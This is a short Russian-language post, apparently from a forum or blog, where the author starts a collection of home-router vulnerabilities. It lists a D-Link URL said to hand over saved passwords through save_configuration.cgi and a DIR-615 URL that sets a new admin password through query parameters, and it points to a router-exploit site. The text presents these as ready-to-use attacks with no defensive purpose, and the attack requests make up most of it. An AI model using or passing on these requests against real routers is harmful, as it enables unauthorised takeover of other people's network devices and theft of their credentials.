Тут буду собирать уязвимости роутеров

D-LINK многие модели отдадут вам пароли по ссылочке http://ip/save_configuration.cgi
D-LINK 615 может отдаться через  http://IP_роутера/tools_admin.htm?page=tools_admin&admin_password1=admin2&admin_password2=admin2&hostname=DIR-615


ну и можно попробовать тут: http://routerpwn.com